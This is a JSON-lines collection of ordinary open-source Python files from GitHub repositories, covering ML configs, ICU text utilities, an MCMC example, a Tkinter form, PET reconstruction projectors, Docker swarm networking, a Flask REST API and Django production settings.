+{"text": "import os\n\nclass Config_MIL:\n ''' Neural net hyperparameters '''\n\n gpu=True\n mention_rep = True\n\n\n ''' data hyperparameters '''\n\n\n\n def __init__(self, run_dir, args):\n\n self.dropout = args.dropout\n self.dataset = args.dataset\n self.args = args\n self.log_dir = args.log_dir \n self.bag_size = args.bag_size\n\n self.lr = args.lr\n self.encoder = args.encoder\n self.beta1 = args.beta1\n self.beta2 = args.beta2\n self.epsilon = args.epsilon\n self.embedding_dim = args.embedding_dim\n self.hidden_dim = args.hidden_dim\n self.kernel_width = args.kernel_width\n self.clip_val = args.clip_val\n self.weight_decay = args.weight_decay\n self.num_epochs = args.num_epochs\n self.batch_size = args.batch_size\n self.save_model = args.save_model\n self.struct_weight = args.struct_weight\n self.linker_weight = args.linker_weight\n self.typing_weight = args.typing_weight\n\n\n self.complex = args.complex\n self.mode = args.mode\n self.bilinear_l2 = args.bilinear_l2\n self.parent_sample_size = args.parent_sample_size\n self.asymmetric = args.asymmetric\n\n self.test_batch_size = args.test_batch_size\n self.take_frac = args.take_frac\n self.use_transitive = args.use_transitive\n self.base_dir = args.base_dir\n base_dir = args.base_dir\n self.features = args.features\n\n self.feature_file = \"%s/wiki_typing/feature2id_figer.txt\" %base_dir\n \n self.override_lr = args.override_lr \n self.start_from_best = args.start_from_best\n self.ddlr = args.ddlr\n self.dd = args.dd\n self.inference_thr = args.inference_thr \n self.dd_implication_wt = args.dd_implication_wt \n self.dd_mutl_excl_wt = args.dd_mutl_excl_wt \n self.dd_mutl_excl_topk = args.dd_mutl_excl_topk \n self.dd_update_freq = args.dd_update_freq\n self.dd_warmup_iter = args.dd_warmup_iter\n self.dd_tcc = args.dd_tcc \n self.dd_weight_decay= args.dd_weight_decay \n self.dd_optim = args.dd_optim \n self.dd_mom = args.dd_mom \n self.dd_logsig= args.dd_logsig \n self.dd_penalty= args.dd_penalty \n self.eval_topk = 0\n self.dd_constraint_wt = args.dd_constraint_wt\n self.dd_maxp_wt = args.dd_maxp_wt\n self.dd_maxp_thr = args.dd_maxp_thr\n self.dd_constant_lambda = args.dd_constant_lambda \n \n self.dd_increase_freq_by = args.dd_increase_freq_by \n self.dd_increase_freq_after = args.dd_increase_freq_after\n self.dd_decay_lr = args.dd_decay_lr \n self.dd_decay_lr_after = args.dd_decay_lr_after \n\n \n self.use_wt_as_lr_factor = args.use_wt_as_lr_factor \n self.semi_mixer = args.semi_mixer\n self.semi_warmup_iter = args.semi_warmup_iter\n self.semi_sup = args.semi_sup\n self.class_imb = args.class_imb\n self.unlabelled_ratio = args.unlabelled_ratio \n \n self.grad_norm = args.grad_norm\n self.grad_norm_before_warmup = args.grad_norm_before_warmup\n\n\n# no support for struct weight with figer\n if self.dataset == \"figer\":\n self.test_bag_size = 1\n self.type_dict = \"%s//MIL_data/figer_type_dict.joblib\" %base_dir\n self.typenet_matrix = \"%s/types_annotated/TypeNet_transitive_closure.joblib\" %base_dir\n self.typenet_adj_matrix = \"%s/types_annotated/TypeNet_adj_matrix.joblib\" %base_dir\n self.dev_file=\"%s/wiki_typing/dev\"%base_dir\n self.test_file=\"%s/wiki_typing/test\"%base_dir\n\n else:\n self.test_bag_size = 20\n self.type_dict = \"%s/MIL_data/TypeNet_type2idx.joblib\" % base_dir\n self.typenet_matrix = \"%s/MIL_data/TypeNet_transitive_closure.joblib\" % base_dir\n self.typenet_adj_matrix = \"%s/MIL_data/TypeNet_adj_matrix.joblib\" % base_dir\n\n self.train_file = \"%s/MIL_data/train.entities\"%base_dir\n self.dev_file = \"%s/MIL_data/dev.entities\" % base_dir\n self.test_file = \"%s/MIL_data/test.entities\" % base_dir\n self.bag_file = \"%s/MIL_data/entity_bags.joblib\" % base_dir\n self.entity_dict = \"%s/MIL_data/entity_dict.joblib\" % base_dir\n self.cross_wikis_shelve = \"%s/MIL_data/alias_table.joblib\" %base_dir\n\n\n\n self.embedding_file = \"%s/data/pretrained_embeddings.npz\" %base_dir\n self.embedding_downloaded_file = \"%s/other_resources/glove.840B.300d.txt\" %base_dir\n self.crosswikis_file = \"%s/other_resources/dictionary.bz2\"\n self.redirects_file = \"/iesl/canvas/smurty/wiki-data/enwiki-20160920-redirect.tsv\"\n\n\n self.entity_bags_dict = \"%s/MIL_data/entity_bags.joblib\" %base_dir\n\n if self.use_transitive:\n self.entity_type_dict = \"%s/MIL_data/entity_%s_type_dict.joblib\" %(base_dir, self.dataset)\n else:\n self.entity_type_dict = \"%s/MIL_data/entity_type_dict_orig.joblib\" %(base_dir)\n\n self.entity_type_dict_test = \"%s/MIL_data/entity_%s_type_dict.joblib\" %(base_dir, self.dataset)\n\n\n self.raw_entity_file=\"%s/AIDA_linking/AIDA_original/all_entities.txt\"%base_dir\n self.raw_type_file=\"%s/types_annotated/typenet_structure.txt\"%base_dir\n self.raw_entity_type_file=\"%s/AIDA_linking/AIDA_original/all_entities_types.txt\"%base_dir\n\n\n self.vocab_file=\"%s/data/vocab.joblib\"%base_dir\n #self.checkpoint_file = \"%s/checkpoints\" %run_dir\n self.model_name = args.model_name \n self.checkpoint_file = \"%s/%s\" %(self.log_dir, args.model_name)\n self.model_file = 'best_params.pth'\n self.test_out_file = os.path.join(self.checkpoint_file, 'test_results.txt')\n try:\n os.makedirs(self.checkpoint_file)\n except:\n pass\n\n\n", "source": "djin31/loss-landscape", "license": "MIT"}
+{"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport icu\n\ndef all_glyphs(prop):\n return [c.encode('utf-16', 'surrogatepass').decode('utf-16') for c in icu.UnicodeSetIterator(icu.UnicodeSet(r'[:{}:]'.format(prop)))]\n\ndef all_cps(prop):\n return list(map(glyph_cp, all_glyphs(prop)))\n\ndef glyph_name(glyph, default=''):\n if len(glyph) > 1:\n raise TypeError('glyph must be a string with length of 1')\n elif len(glyph) == 0:\n return default\n else:\n return icu.Char.charName(glyph)\n\ndef cp_glyph(cp, default=''):\n try:\n return chr(int(cp, 16))\n except ValueError:\n return default\n\ndef cp_name(cp, default=''):\n return glyph_name(cp_glyph(cp), default)\n\ndef glyph_cp(glyph):\n return hex(ord(glyph))[2:]\n\nclass Rbnf:\n def __init__(self, tag=\"spellout\", locale=\"\", rules=\"\"):\n if rules:\n self._rbnf = icu.RuleBasedNumberFormat(rules)\n else:\n if tag.lower() not in {\"spellout\", \"duration\", \"ordinal\", \"numbering_system\"}:\n raise ValueError(\"tag must be 'spellout', 'duration', 'ordinal', or 'numbering_system'\")\n self._rbnf = icu.RuleBasedNumberFormat(getattr(icu.URBNFRuleSetTag, tag.upper()), icu.Locale(locale))\n\n def format(self, number):\n return self._rbnf.format(number)\n\n @property\n def ruleset(self):\n return self._rbnf.getDefaultRuleSetName()\n\n @ruleset.setter\n def ruleset(self, ruleset_name):\n try:\n self._rbnf.setDefaultRuleSet(ruleset_name)\n except icu.ICUError:\n raise ValueError(f\"{ruleset_name} not a valid ruleset. See {self.__class__.__name__}.rulesets() for valid rulesets.\")\n \n def rulesets(self):\n return {self._rbnf.getRuleSetName(i) for i in range(self._rbnf.getNumberOfRuleSetNames())}\n \n def rules(self):\n return self._rbnf.getRules()\n\n def parse(self, string):\n try:\n return self._rbnf.parse(string)\n except icu.ICUError:\n raise ValueError(\"unable to parse string\")\n \n", "source": "longnow/panlex-tools", "license": "MIT"}
+{"text": "#!/usr/bin/python\n#coding=utf8\n\nimport socket\n\nhost = 'github.com'\n\ntry:\n with open('etc/hosts', 'a+') as fp:\n ip = socket.gethostnbyname(host)\n fp.write(' ',join([ip, host, '\\n']))\nexcept BaseException as e:\n print(e)\nelse:\n print('sucess')\n\n", "source": "ZuiYee/ProxyPool", "license": "Apache-2.0"}
+{"text": "# Copyright (c) 2017-present, Facebook, Inc.\n# All rights reserved.\n#\n# This source code is licensed under the license found in the\n# LICENSE file in the root directory of this source tree.\n#\n\nimport os\nimport argparse\nimport numpy as np\nimport torch\nfrom torch.autograd import Variable\nfrom torchvision.utils import make_grid\nimport matplotlib.image\n\nfrom src.logger import create_logger\nfrom src.loader import load_images, DataSampler\nfrom src.utils import bool_flag\n\n\n# parse parameters\nparser = argparse.ArgumentParser(description='Attributes swapping')\nparser.add_argument(\"--model_path\", type=str, default=\"\",\n help=\"Trained model path\")\nparser.add_argument(\"--n_images\", type=int, default=10,\n help=\"Number of images to modify\")\nparser.add_argument(\"--offset\", type=int, default=0,\n help=\"First image index\")\nparser.add_argument(\"--n_interpolations\", type=int, default=10,\n help=\"Number of interpolations per image\")\nparser.add_argument(\"--alpha_min\", type=float, default=1,\n help=\"Min interpolation value\")\nparser.add_argument(\"--alpha_max\", type=float, default=1,\n help=\"Max interpolation value\")\nparser.add_argument(\"--plot_size\", type=int, default=5,\n help=\"Size of images in the grid\")\nparser.add_argument(\"--row_wise\", type=bool_flag, default=True,\n help=\"Represent image interpolations horizontally\")\nparser.add_argument(\"--output_path\", type=str, default=\"output.png\",\n help=\"Output path\")\nparams = parser.parse_args()\n\n# check parameters\nassert os.path.isfile(params.model_path)\nassert params.n_images >= 1 and params.n_interpolations >= 2\n\n# create logger / load trained model\nlogger = create_logger(None)\nae = torch.load(params.model_path).eval()\n\n# restore main parameters\nparams.debug = True\nparams.batch_size = 32\nparams.v_flip = False\nparams.h_flip = False\nparams.img_sz = ae.img_sz\nparams.attr = ae.attr\nparams.n_attr = ae.n_attr\nif not (len(params.attr) == 1 and params.n_attr == 2):\n raise Exception(\"The model must use a single boolean attribute only.\")\n\n# load dataset\ndata, attributes = load_images(params)\ntest_data = DataSampler(data[2], attributes[2], params)\n\n\ndef get_interpolations(ae, images, attributes, params):\n \"\"\"\n Reconstruct images / create interpolations\n \"\"\"\n assert len(images) == len(attributes)\n enc_outputs = ae.encode(images)\n\n # interpolation values\n alphas = np.linspace(1 - params.alpha_min, params.alpha_max, params.n_interpolations)\n alphas = [torch.FloatTensor([1 - alpha, alpha]) for alpha in alphas]\n\n # original image / reconstructed image / interpolations\n outputs = []\n outputs.append(images)\n outputs.append(ae.decode(enc_outputs, attributes)[-1])\n for alpha in alphas:\n alpha = Variable(alpha.unsqueeze(0).expand((len(images), 2)).cuda())\n outputs.append(ae.decode(enc_outputs, alpha)[-1])\n\n # return stacked images\n return torch.cat([x.unsqueeze(1) for x in outputs], 1).data.cpu()\n\n\ninterpolations = []\n\nfor k in range(0, params.n_images, 100):\n i = params.offset + k\n j = params.offset + min(params.n_images, k + 100)\n images, attributes = test_data.eval_batch(i, j)\n interpolations.append(get_interpolations(ae, images, attributes, params))\n\ninterpolations = torch.cat(interpolations, 0)\nassert interpolations.size() == (params.n_images, 2 + params.n_interpolations,\n 3, params.img_sz, params.img_sz)\n\n\ndef get_grid(images, row_wise, plot_size=5):\n \"\"\"\n Create a grid with all images.\n \"\"\"\n n_images, n_columns, img_fm, img_sz, _ = images.size()\n if not row_wise:\n images = images.transpose(0, 1).contiguous()\n images = images.view(n_images * n_columns, img_fm, img_sz, img_sz)\n images.add_(1).div_(2.0)\n return make_grid(images, nrow=(n_columns if row_wise else n_images))\n\n\n# generate the grid / save it to a PNG file\ngrid = get_grid(interpolations, params.row_wise, params.plot_size)\nmatplotlib.image.imsave(params.output_path, grid.numpy().transpose((1, 2, 0)))\n", "source": "ameya005/Semantic_Adversarial_Attacks", "license": "MIT"}
+{"text": "\"\"\"\nExample demonstrating the usage for the linear-fit scenario.\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport sys\nsys.path.insert(0,'../src')\nfrom mcmc import MCMC\n\n#----------------------------------------------------------\n\nclass LinearFit(MCMC):\n\t\"\"\"\n\tExtends the original MCMC class to sample the parameters of a linear model.\n\n\tParameters\n\t-----------\n\tMCMC (Class): Parent MCMC class.\n\tm (Float): Feducial value of the slope of the linear data.\n\tc (Float): Feducial value of the intercept of the linear data.\n\tRedStd (Float): Feducial value of the standard deviation of the linear data.\n\t\"\"\"\n\tdef __init__(self, m=5.0, c=25.0, RedStd=15.0):\n\t\t\"\"\"\n\t\tInstantiates the class by synthetically generating data.\n\t\t\"\"\"\n\t\tMCMC.__init__(self, TargetAcceptedPoints=10000, \\\n\t\t\t\tNumberOfParams=2, Mins=[0.0,20.0], Maxs=[10.0,30.0], SDs=[1.0,2.0], alpha=0.2,\\\n\t\t\t\twrite2file=True, outputfilename='chain.mcmc', randomseed=250192)\t\t\n\n\t\tself.X=np.linspace(-10, 10, 25)\n\t\tself.delta = np.random.uniform(low=-1*RedStd, high=RedStd, size=len(self.X))\n\t\tself.Y = (m*self.X + c) + self.delta\n\n#----------------------------------------------------------\n\n\tdef FittingFunction(self, Params):\n\t\t\"\"\"\n\t\tParametric form of the model.\n\n\t\tParameters\n\t\t----------\n\t\tParams (1d array): Numpy array containing values of the parameters. \n\n\t\tReturns\n\t\t-------\n\t\tmodel values (y = mx + c)\n\t\t\"\"\"\n\t\treturn Params[0]*self.X + Params[1]\n\n#----------------------------------------------------------\n\n\tdef chisquare(self, Params):\n\t\t\"\"\"\n\t\tComputes Chi-square.\n\n\t\tParameters\n\t\t----------\n\t\tParams (1d array): Numpy array containing values of the parameters. \n\n\t\tReturns\n\t\t-------\n\t\tchi square.\n\t\t\"\"\"\n\t\tkisquare = ((self.Y-self.FittingFunction(Params))/self.delta)**2\n\t\treturn np.sum(kisquare)\n\n#==============================================================================\n\nif __name__==\"__main__\":\n\tco = LinearFit()\n\tprint co.MainChain()", "source": "creativeishu/pychain", "license": "MIT"}
+{"text": "from tkinter import Tk, Text, ttk\nfrom tkinter.constants import ANCHOR, BOTTOM, END, LEFT, NW, RIGHT, SW, W\n\n\nclass Fr_lbProduto(ttk.Frame):\n def __init__(self, parent):\n super().__init__(parent)\n\n self.lbfr_produto = ttk.Labelframe(self, text='Info Produto')\n self.fr = ttk.Frame(self.lbfr_produto)\n self.fr1 = ttk.Frame(self.fr)\n self.fr2 = ttk.Frame(self.fr)\n self.fr_descricao = ttk.Frame(self.lbfr_produto)\n \n self.lb_id = ttk.Label(self.fr1, text='id:', width=10)\n self.lb_nome = ttk.Label(self.fr1, text='nome:', width=10)\n self.lb_marca = ttk.Label(self.fr1, text='marca:', width=10)\n self.lb_qtd = ttk.Label(self.fr1, text='Qtd:', width=10)\n self.lb_preco = ttk.Label(self.fr1, text='R$:', width=10)\n self.lb_descricao = ttk.Label(self.fr_descricao, text='descri\u00e7\u00e3o:', width=10)\n\n self.lb_id.grid(row=0, column=0)\n self.lb_nome.grid(row=1, column=0)\n self.lb_marca.grid(row=2, column=0)\n self.lb_qtd.grid(row=3, column=0)\n self.lb_preco.grid(row=4, column=0)\n self.lb_descricao.grid(row=0, column=0)\n\n self.lb_idInfo = ttk.Label(self.fr2, text='', width=25)\n self.lb_nomeInfo = ttk.Label(self.fr2, text='', width=25)\n self.lb_marcaInfo = ttk.Label(self.fr2, text='', width=25)\n self.lb_qtdInfo = ttk.Label(self.fr2, text='', width=25)\n self.lb_precoInfo = ttk.Label(self.fr2, text='', width=25)\n \n self.txt_discricao = Text(self.fr_descricao, width=35, height=6)\n \n self.lb_idInfo.grid(row=0, column=1)\n self.lb_nomeInfo.grid(row=1, column=1)\n self.lb_marcaInfo.grid(row=2, column=1)\n self.lb_qtdInfo.grid(row=3, column=1)\n self.lb_precoInfo.grid(row=4, column=1)\n self.txt_discricao.grid(row=1, column=0)\n \n self.fr1.pack(side=LEFT, anchor=NW)\n self.fr2.pack(side=LEFT, anchor=NW)\n self.fr.pack()\n self.fr_descricao.pack(side=BOTTOM)\n self.lbfr_produto.pack()\n\n def inserir_dados(self, dados):\n id = dados[0]\n nome = dados[1]\n marca = dados[2]\n qtd = dados[3]\n preco = dados[4]\n descricao = dados[5]\n \n # print('id:', id)\n # print('nome:', nome)\n # print('marca:', marca)\n # print('qtd:', qtd)\n # print('preco:', preco)\n # print('descricao:', descricao)\n\n self.lb_idInfo.config(text=id)\n self.lb_nomeInfo.config(text=nome)\n self.lb_marcaInfo.config(text=marca)\n self.lb_qtdInfo.config(text=qtd)\n self.lb_precoInfo.config(text=preco)\n # self.txt_discricao.config(text=descricao)\n self.txt_discricao.delete(1.0, END)\n self.txt_discricao.insert(1.0, descricao)\n def deletar_dados(self):\n self.lb_idInfo.config(text='')\n self.lb_nomeInfo.config(text='')\n self.lb_marcaInfo.config(text='')\n self.lb_qtdInfo.config(text='')\n self.lb_precoInfo.config(text='')\n # self.txt_discricao.config(text='')\n self.txt_discricao.delete(1.0, END)\n\n\n\n\nif __name__ == '__main__':\n \n # print('so um teste')\n\n root = Tk()\n root.geometry('500x500')\n dados = (5, 'Iphone', 'Apple', 5254, 20000.0, 'um smartphone caro, que vem carregador\\n\\n\\n\\n')\n \n frame = Fr_lbProduto(root)\n frame.inserir_dados(dados)\n frame.pack()\n\n root.mainloop()\n\n\n\n\n", "source": "jonasht/Python", "license": "MIT"}
+{"text": "\"\"\"Forward and back projector for PET data reconstruction\"\"\"\n__author__ = \"Pawel Markiewicz\"\n__copyright__ = \"Copyright 2018\"\n#------------------------------------------------------------------------------\nimport numpy as np\nimport sys\nimport os\nimport logging\n\nimport petprj\n\nfrom niftypet.nipet.img import mmrimg\nfrom niftypet.nipet import mmraux\n\n#=========================================================================\n# forward projector\n#-------------------------------------------------------------------------\ndef frwd_prj(im, scanner_params, isub=np.array([-1], dtype=np.int32), dev_out=False, attenuation=False):\n ''' Calculate forward projection (a set of sinograms) for the provided input image.\n Arguments:\n im -- input image (can be emission or mu-map image).\n scanner_params -- dictionary of all scanner parameters, containing scanner constants,\n transaxial and axial look up tables (LUT).\n isub -- array of transaxial indices of all sinograms (angles x bins) used for subsets.\n when the first element is negative, all transaxial bins are used (as in pure EM-ML).\n dev_out -- if True, output sinogram is in the device form, i.e., with two dimensions\n (# bins/angles, # sinograms) instead of default three (# sinograms, # bins, # angles).\n attenuation -- controls whether emission or LOR attenuation probability sinogram\n is calculated; the default is False, meaning emission sinogram; for attenuation\n calculations (attenuation=True), the exponential of the negative of the integrated\n mu-values along LOR path is taken at the end.\n '''\n log = logging.getLogger(__name__)\n\n # Get particular scanner parameters: Constants, transaxial and axial LUTs\n Cnt = scanner_params['Cnt']\n txLUT = scanner_params['txLUT']\n axLUT = scanner_params['axLUT']\n\n #>choose between attenuation forward projection (mu-map is the input)\n #>or the default for emission image forward projection\n if attenuation:\n att = 1\n else:\n att = 0\n\n if Cnt['SPN']==1:\n # number of rings calculated for the given ring range (optionally we can use only part of the axial FOV)\n NRNG_c = Cnt['RNG_END'] - Cnt['RNG_STRT']\n # number of sinos in span-1\n nsinos = NRNG_c**2\n # correct for the max. ring difference in the full axial extent (don't use ring range (1,63) as for this case no correction)\n if NRNG_c==64:\n nsinos -= 12\n elif Cnt['SPN']==11: nsinos=Cnt['NSN11']\n elif Cnt['SPN']==0: nsinos=Cnt['NSEG0']\n\n if im.shape[0]==Cnt['SO_IMZ'] and im.shape[1]==Cnt['SO_IMY'] and im.shape[2]==Cnt['SO_IMX']:\n ims = mmrimg.convert2dev(im, Cnt)\n elif im.shape[0]==Cnt['SZ_IMX'] and im.shape[1]==Cnt['SZ_IMY'] and im.shape[2]==Cnt['SZ_IMZ']:\n ims = im\n elif im.shape[0]==Cnt['rSO_IMZ'] and im.shape[1]==Cnt['SO_IMY'] and im.shape[2]==Cnt['SO_IMX']:\n ims = mmrimg.convert2dev(im, Cnt)\n elif im.shape[0]==Cnt['SZ_IMX'] and im.shape[1]==Cnt['SZ_IMY'] and im.shape[2]==Cnt['rSZ_IMZ']:\n ims = im\n else:\n log.error('wrong image size; it has to be one of these: (z,y,x) = (127,344,344) or (y,x,z) = (320,320,128)')\n\n log.debug('number of sinos:%d' % nsinos)\n\n #predefine the sinogram. if subsets are used then only preallocate those bins which will be used.\n if isub[0]<0:\n sinog = np.zeros((txLUT['Naw'], nsinos), dtype=np.float32)\n else:\n sinog = np.zeros((len(isub), nsinos), dtype=np.float32)\n\n # --------------------\n petprj.fprj(sinog, ims, txLUT, axLUT, isub, Cnt, att)\n # --------------------\n # get the sinogram bins in a proper sinogram\n sino = np.zeros((txLUT['Naw'], nsinos), dtype=np.float32)\n if isub[0]>=0: sino[isub,:] = sinog\n else: sino = sinog\n\n # put the gaps back to form displayable sinogram\n if not dev_out:\n sino = mmraux.putgaps(sino, txLUT, Cnt)\n\n return sino\n\n#=========================================================================\n# back projector\n#-------------------------------------------------------------------------\ndef back_prj(sino, scanner_params, isub=np.array([-1], dtype=np.int32)):\n ''' Calculate forward projection for the provided input image.\n Arguments:\n sino -- input emission sinogram to be back projected to the image space.\n scanner_params -- dictionary of all scanner parameters, containing scanner constants,\n transaxial and axial look up tables (LUT).\n isub -- array of transaxial indices of all sinograms (angles x bins) used for subsets;\n when the first element is negative, all transaxial bins are used (as in pure EM-ML).\n '''\n\n # Get particular scanner parameters: Constants, transaxial and axial LUTs\n Cnt = scanner_params['Cnt']\n txLUT = scanner_params['txLUT']\n axLUT = scanner_params['axLUT']\n\n if Cnt['SPN']==1:\n # number of rings calculated for the given ring range (optionally we can use only part of the axial FOV)\n NRNG_c = Cnt['RNG_END'] - Cnt['RNG_STRT']\n # number of sinos in span-1\n nsinos = NRNG_c**2\n # correct for the max. ring difference in the full axial extent (don't use ring range (1,63) as for this case no correction)\n if NRNG_c==64:\n nsinos -= 12\n elif Cnt['SPN']==11: nsinos=Cnt['NSN11']\n elif Cnt['SPN']==0: nsinos=Cnt['NSEG0']\n\n\n #> check first the Siemens default sinogram;\n #> for this default shape only full sinograms are expected--no subsets.\n if len(sino.shape)==3:\n if sino.shape[0]!=nsinos or sino.shape[1]!=Cnt['NSANGLES'] or sino.shape[2]!=Cnt['NSBINS']:\n raise ValueError('Unexpected sinogram array dimensions/shape for Siemens defaults.')\n sinog = mmraux.remgaps(sino, txLUT, Cnt)\n\n elif len(sino.shape)==2:\n if isub[0]<0 and sino.shape[0]!=txLUT[\"Naw\"]:\n raise ValueError('Unexpected number of transaxial elements in the full sinogram.')\n elif isub[0]>=0 and sino.shape[0]!=len(isub):\n raise ValueError('Unexpected number of transaxial elements in the subset sinogram.')\n #> check if the number of sinograms is correct\n if sino.shape[1]!=nsinos:\n raise ValueError('Inconsistent number of sinograms in the array.')\n #> when found the dimensions/shape are fine:\n sinog = sino\n else:\n raise ValueError('Unexpected shape of the input sinogram.')\n\n #predefine the output image depending on the number of rings used\n if Cnt['SPN']==1 and 'rSZ_IMZ' in Cnt:\n nvz = Cnt['rSZ_IMZ']\n else:\n nvz = Cnt['SZ_IMZ']\n bimg = np.zeros((Cnt['SZ_IMX'], Cnt['SZ_IMY'], nvz), dtype=np.float32)\n\n #> run back-projection\n petprj.bprj(bimg, sinog, txLUT, axLUT, isub, Cnt)\n\n #> change from GPU optimised image dimensions to the standard Siemens shape\n bimg = mmrimg.convert2e7(bimg, Cnt)\n\n return bimg\n#-------------------------------------------------------------------------\n", "source": "rijobro/NIPET", "license": "Apache-2.0"}
+{"text": "from .. import ldc\nfrom .node import SwarmNode\n\n\nclass SwarmSubnet(ldc.DockerSubnet):\n\n def __init__(self, *args, size: int = 510, **kwargs):\n self._cluster_hosts = {}\n self._offset = size\n super().__init__(*args, size=size*2, **kwargs)\n\n def add_node(self, node: 'SwarmNode'):\n\n ip_address = self._get_host_ip()\n\n # docker swarm overlay requires additional ip address for lode balancer each cluster node (cluster_host in l3ns)\n if not isinstance(node, ldc.DockerNode) and node.cluster_host.address not in self._hosts:\n self._cluster_hosts[node.cluster_host.address] = self._hosts.pop(0)\n\n self._nodes_dict[ip_address] = node\n if node not in self._network:\n self._network.add_node(node)\n node.add_interface(ip_address, self)\n\n def _get_host_ip(self):\n # Since we don't have control over ip management for lode balancers, first free ip of the docker network\n # ip range will be used for each swarm node. Since it's not possible to control starting order of the nodes,\n # it's easier to just make network twice as large and give out addresses only from the second half\n return str(self._hosts.pop(self._offset+1))\n\n def start(self):\n if self.started:\n return self.docker_network\n\n self.docker_network = self._client.networks.create(\n self.name,\n driver='overlay',\n attachable=True,\n ipam=self._make_ipam_config())\n\n if not self.docker_network.attrs['Driver']:\n raise Exception('Error: IPAM customisation failed for swarm network {}, check if other networks overlap ip pool'.format(self.name))\n\n self.started = True\n self.loaded = True\n\n print('[swarm] subnet', self.name, 'started')\n\n return self.docker_network\n", "source": "rukmarr/l3ns", "license": "MIT"}
+{"text": "from django.apps import AppConfig\n\nclass OficinaConfig(AppConfig):\n name = 'oficina'\n", "source": "krixapolinario/django-project-one", "license": "MIT"}
+{"text": "import sqlite3\nfrom flask_restful import Resource, reqparse\nfrom flask_jwt import jwt_required\n\n\nclass Item(Resource):\n parser = reqparse.RequestParser()\n parser.add_argument(\n 'price',\n type = float,\n required = True,\n help = \"This field cannot be empty\"\n )\n\n\n #GET method for a single item\n @jwt_required()\n def get(self, name):\n item = self.find_by_name(name)\n if item:\n return item\n return {'message': 'items not found'}, 404\n\n @classmethod\n def find_by_name(cls, name):\n connection = sqlite3.connect('data.db')\n cursor = connection.cursor()\n\n query = \"SELECT * FROM items WHERE name=?\"\n result = cursor.execute(query, (name,))\n row = result.fetchone()\n connection.close()\n\n if row:\n return {'items': {'name': row[0], 'price': row[1]}}\n\n\n #POST method for creating an item\n def post(self, name):\n if self.find_by_name(name):\n return {'message' : \"An item with the name {} already exists. Please check the details.\".format(name)}, 400\n\n data = Item.parser.parse_args()\n item = {'name': name, 'price': data['price']}\n\n try:\n self.insert(item) #insertion function called\n except:\n return {\"message\":\"An error occured while inserting the item\"}, 500 #Internal Server Error\n\n return item, 201\n\n #For inserting items into database\n @classmethod\n def insert(cls, item):\n\n connection = sqlite3.connect('data.db')\n cursor = connection.cursor()\n\n query = \"INSERT INTO items VALUES (?, ?)\"\n cursor.execute(query, (item['name'],item['price']))\n\n connection.commit()\n connection.close()\n\n def delete(self, name):\n connection = sqlite3.connect('data.db')\n cursor = connection.cursor()\n\n query = \"DELETE FROM items WHERE name=?\"\n cursor.execute(query, (name,))\n\n connection.commit()\n connection.close()\n\n return {'message':'Item deleted'}\n\n #PUT method -> updating an existing item or creating a new item\n def put(self, name):\n data = Item.parser.parse_args()\n\n item = self.find_by_name(name)\n updated_item = {'name': name, 'price': data['price']}\n\n if item is None:\n try:\n self.insert(updated_item)\n except:\n return {\"message\":\"An error occured while inserting the item\"}, 500 #Internal Server Error\n else:\n try:\n self.update(updated_item)\n except:\n return {\"message\":\"An error occured while updating the item\"}, 500 #Internal Server Error\n\n return updated_item\n\n @classmethod\n def update(cls, item):\n connection = sqlite3.connect('data.db')\n cursor = connection.cursor()\n\n query = \"UPDATE items SET price=? WHERE name=?\"\n cursor.execute(query, (item['price'],item['name']))\n\n connection.commit()\n connection.close()\n\n\nclass ItemList(Resource):\n def get(self):\n connection = sqlite3.connect('data.db')\n cursor = connection.cursor()\n\n query = \"SELECT * FROM items\"\n result = cursor.execute(query)\n items = []\n for row in result:\n items.append({'name': row[0], 'price': row[1]})\n\n connection.close()\n\n return {'items' : items}\n", "source": "ArupkBiswas/flask-exercises", "license": "MIT"}
+{"text": "# Copyright (c) 2017 Cisco Systems, Inc.\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n# Stub module containing the networking_cisco trunk APIs.\n#\n# TODO(rcurran): Remove once networking_cisco is no longer supporting\n# stable/newton.\n\nTRUNK_SUBPORT_OWNER = \"\"\nVLAN = \"\"\nACTIVE_STATUS = \"\"\n\n\nclass SubPort(object):\n @classmethod\n def get_object(cls, context, *args):\n return None\n\n\nclass TrunkObject(object):\n @classmethod\n def update(cls, **kargs):\n pass\n\n\nclass Trunk(object):\n @classmethod\n def get_object(cls, context, **kargs):\n return TrunkObject\n\n\nclass DriverBase(object):\n def __init__(self, name, interfaces, segmentation_types,\n agent_type=None, can_trunk_bound_port=False):\n pass\n", "source": "Tehsmash/networking-cisco", "license": "Apache-2.0"}
+{"text": "# -*- coding: utf-8 -*-\n'''\nProduction Configurations\n\n- Use djangosecure\n\n'''\nfrom __future__ import absolute_import, unicode_literals\n\nimport ldap\nfrom django_auth_ldap.config import LDAPSearch, GroupOfNamesType\n\nfrom .common import * # noqa\n\n\n\n# SECRET CONFIGURATION\n# ------------------------------------------------------------------------------\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#secret-key\n# Raises ImproperlyConfigured exception if DJANGO_SECRET_KEY not in os.environ\nSECRET_KEY = env(\"DJANGO_SECRET_KEY\")\n\n\n# django-secure\n# ------------------------------------------------------------------------------\nINSTALLED_APPS += (\"djangosecure\",)\n\nSECURITY_MIDDLEWARE = (\n 'djangosecure.middleware.SecurityMiddleware',\n)\n\n# Make sure djangosecure.middleware.SecurityMiddleware is listed first\nMIDDLEWARE_CLASSES = SECURITY_MIDDLEWARE + MIDDLEWARE_CLASSES\n\n# set this to 60 seconds and then to 518400 when you can prove it works\nSECURE_HSTS_SECONDS = 60\nSECURE_HSTS_INCLUDE_SUBDOMAINS = env.bool(\"DJANGO_SECURE_HSTS_INCLUDE_SUBDOMAINS\", default=True)\nSECURE_FRAME_DENY = env.bool(\"DJANGO_SECURE_FRAME_DENY\", default=True)\nSECURE_CONTENT_TYPE_NOSNIFF = env.bool(\"DJANGO_SECURE_CONTENT_TYPE_NOSNIFF\", default=True)\nSECURE_BROWSER_XSS_FILTER = True\nSESSION_COOKIE_SECURE = False\nSESSION_COOKIE_HTTPONLY = True\n\n# SITE CONFIGURATION\n# ------------------------------------------------------------------------------\n# 